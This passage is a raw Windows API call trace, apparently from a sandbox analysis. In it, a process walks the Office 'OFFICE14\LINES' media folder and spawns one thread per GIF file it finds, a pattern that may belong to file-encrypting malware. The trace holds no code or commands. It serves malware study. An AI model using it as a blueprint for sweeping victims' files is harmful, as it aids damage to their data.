_Dest=0x12e2a708, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.950] wcscat (in: _Dest=0x12e2a708, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.950] wcscat (in: _Dest=0x12e2a708, _Source="BD10256_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" [0063.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd0 [0063.952] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10289_.GIF", cAlternateFileName="")) returned 1 [0063.952] wcscmp (_String1="BD10289_.GIF", _String2=".") returned 1 [0063.952] wcscmp (_String1="BD10289_.GIF", _String2="..") returned 1 [0063.952] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a828 [0063.952] wcscpy (in: _Dest=0x12e2a828, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.952] wcscat (in: _Dest=0x12e2a828, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.952] wcscat (in: _Dest=0x12e2a828, _Source="BD10289_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" [0063.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb4 [0063.953] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10290_.GIF", cAlternateFileName="")) returned 1 [0063.953] wcscmp (_String1="BD10290_.GIF", _String2=".") returned 1 [0063.953] wcscmp (_String1="BD10290_.GIF", _String2="..") returned 1 [0063.953] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a8b8 [0063.953] wcscpy (in: _Dest=0x12e2a8b8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.953] wcscat (in: _Dest=0x12e2a8b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.953] wcscat (in: _Dest=0x12e2a8b8, _Source="BD10290_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" [0063.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a8b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc8 [0063.954] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f8f500, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73f8f500, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10307_.GIF", cAlternateFileName="")) returned 1 [0063.954] wcscmp (_String1="BD10307_.GIF", _String2=".") returned 1 [0063.954] wcscmp (_String1="BD10307_.GIF", _String2="..") returned 1 [0063.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a948 [0063.954] wcscpy (in: _Dest=0x12e2a948, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.954] wcscat (in: _Dest=0x12e2a948, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.954] wcscat (in: _Dest=0x12e2a948, _Source="BD10307_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" [0063.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc [0063.955] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a2200, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x752a2200, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10308_.GIF", cAlternateFileName="")) returned 1 [0063.955] wcscmp (_String1="BD10308_.GIF", _String2=".") returned 1 [0063.955] wcscmp (_String1="BD10308_.GIF", _String2="..") returned 1 [0063.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a9d8 [0063.955] wcscpy (in: _Dest=0x12e2a9d8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.956] wcscat (in: _Dest=0x12e2a9d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.956] wcscat (in: _Dest=0x12e2a9d8, _Source="BD10308_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" [0063.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0063.957] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a6c900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68a6c900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10358_.GIF", cAlternateFileName="")) returned 1 [0063.957] wcscmp (_String1="BD10358_.GIF", _String2=".") returned 1 [0063.957] wcscmp (_String1="BD10358_.GIF", _String2="..") returned 1 [0063.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2aa68 [0063.957] wcscpy (in: _Dest=0x12e2aa68, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.957] wcscat (in: _Dest=0x12e2aa68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.957] wcscat (in: _Dest=0x12e2aa68, _Source="BD10358_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" [0063.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2aa68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea4 [0063.958] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14516_.GIF", cAlternateFileName="")) returned 1 [0063.958] wcscmp (_String1="BD14516_.GIF", _String2=".") returned 1 [0063.958] wcscmp (_String1="BD14516_.GIF", _String2="..") returned 1 [0063.958] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2aaf8 [0063.958] wcscpy (in: _Dest=0x12e2aaf8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.958] wcscat (in: _Dest=0x12e2aaf8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.958] wcscat (in: _Dest=0x12e2aaf8, _Source="BD14516_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" [0063.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2aaf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0063.959] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14538_.GIF", cAlternateFileName="")) returned 1 [0063.959] wcscmp (_String1="BD14538_.GIF", _String2=".") returned 1 [0063.959] wcscmp (_String1="BD14538_.GIF", _String2="..") returned 1 [0063.959] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2ab88 [0063.959] wcscpy (in: _Dest=0x12e2ab88, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.959] wcscat (in: _Dest=0x12e2ab88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.959] wcscat (in: _Dest=0x12e2ab88, _Source="BD14538_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" [0063.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2ab88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc60 [0063.960] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14539_.GIF", cAlternateFileName="")) returned 1 [0063.960] wcscmp (_String1="BD14539_.GIF", _String2=".") returned 1 [0063.960] wcscmp (_String1="BD14539_.GIF", _String2="..") returned 1 [0063.960] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2ac18 [0063.960] wcscpy (in: _Dest=0x12e2ac18, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.960] wcscat (in: _Dest=0x12e2ac18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.961] wcscat (in: _Dest=0x12e2ac18, _Source="BD14539_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" [0063.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2ac18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe5c [0063.962] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14594_.GIF", cAlternateFileName="")) returned 1 [0063.962] wcscmp (_String1="BD14594_.GIF", _String2=".") returned 1 [0063.962] wcscmp (_String1="BD14594_.GIF", _String2="..") returned 1 [0063.962] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2aca8 [0063.962] wcscpy (in: _Dest=0x12e2aca8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.962] wcscat (in: _Dest=0x12e2aca8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.962] wcscat (in: _Dest=0x12e2aca8, _Source="BD14594_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" [0063.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2aca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe70 [0063.963] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14595_.GIF", cAlternateFileName="")) returned 1 [0063.963] wcscmp (_String1="BD14595_.GIF", _String2=".") returned 1 [0063.963] wcscmp (_String1="BD14595_.GIF", _String2="..") returned 1 [0063.963] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2ad38 [0063.963] wcscpy (in: _Dest=0x12e2ad38, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.963] wcscat (in: _Dest=0x12e2ad38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.963] wcscat (in: _Dest=0x12e2ad38, _Source="BD14595_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" [0063.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2ad38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0063.964] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2ea600, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe2ea600, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14677_.GIF", cAlternateFileName="")) returned 1 [0063.964] wcscmp (_String1="BD14677_.GIF", _String2=".") returned 1 [0063.964] wcscmp (_String1="BD14677_.GIF", _String2="..") returned 1 [0063.964] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2adc8 [0063.964] wcscpy (in: _Dest=0x12e2adc8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.964] wcscat (in: _Dest=0x12e2adc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.964] wcscat (in: _Dest=0x12e2adc8, _Source="BD14677_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" [0063.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2adc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1088 [0063.965] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14710_.GIF", cAlternateFileName="")) returned 1 [0063.965] wcscmp (_String1="BD14710_.GIF", _String2=".") returned 1 [0063.965] wcscmp (_String1="BD14710_.GIF", _String2="..") returned 1 [0063.965] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2ae58 [0063.965] wcscpy (in: _Dest=0x12e2ae58, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.965] wcscat (in: _Dest=0x12e2ae58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.965] wcscat (in: _Dest=0x12e2ae58, _Source="BD14710_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" [0063.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2ae58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x131c [0063.967] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xa97, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14711_.GIF", cAlternateFileName="")) returned 1 [0063.967] wcscmp (_String1="BD14711_.GIF", _String2=".") returned 1 [0063.967] wcscmp (_String1="BD14711_.GIF", _String2="..") returned 1 [0063.967] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2aee8 [0063.967] wcscpy (in: _Dest=0x12e2aee8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.967] wcscat (in: _Dest=0x12e2aee8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.967] wcscat (in: _Dest=0x12e2aee8, _Source="BD14711_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" [0063.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2aee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1320 [0063.968] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14768_.GIF", cAlternateFileName="")) returned 1 [0063.969] wcscmp (_String1="BD14768_.GIF", _String2=".") returned 1 [0063.969] wcscmp (_String1="BD14768_.GIF", _String2="..") returned 1 [0063.969] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2af78 [0063.969] wcscpy (in: _Dest=0x12e2af78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.969] wcscat (in: _Dest=0x12e2af78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.969] wcscat (in: _Dest=0x12e2af78, _Source="BD14768_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" [0063.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2af78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1324 [0063.971] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14769_.GIF", cAlternateFileName="")) returned 1 [0063.971] wcscmp (_String1="BD14769_.GIF", _String2=".") returned 1 [0063.971] wcscmp (_String1="BD14769_.GIF", _String2="..") returned 1 [0063.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b008 [0063.971] wcscpy (in: _Dest=0x12e2b008, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft 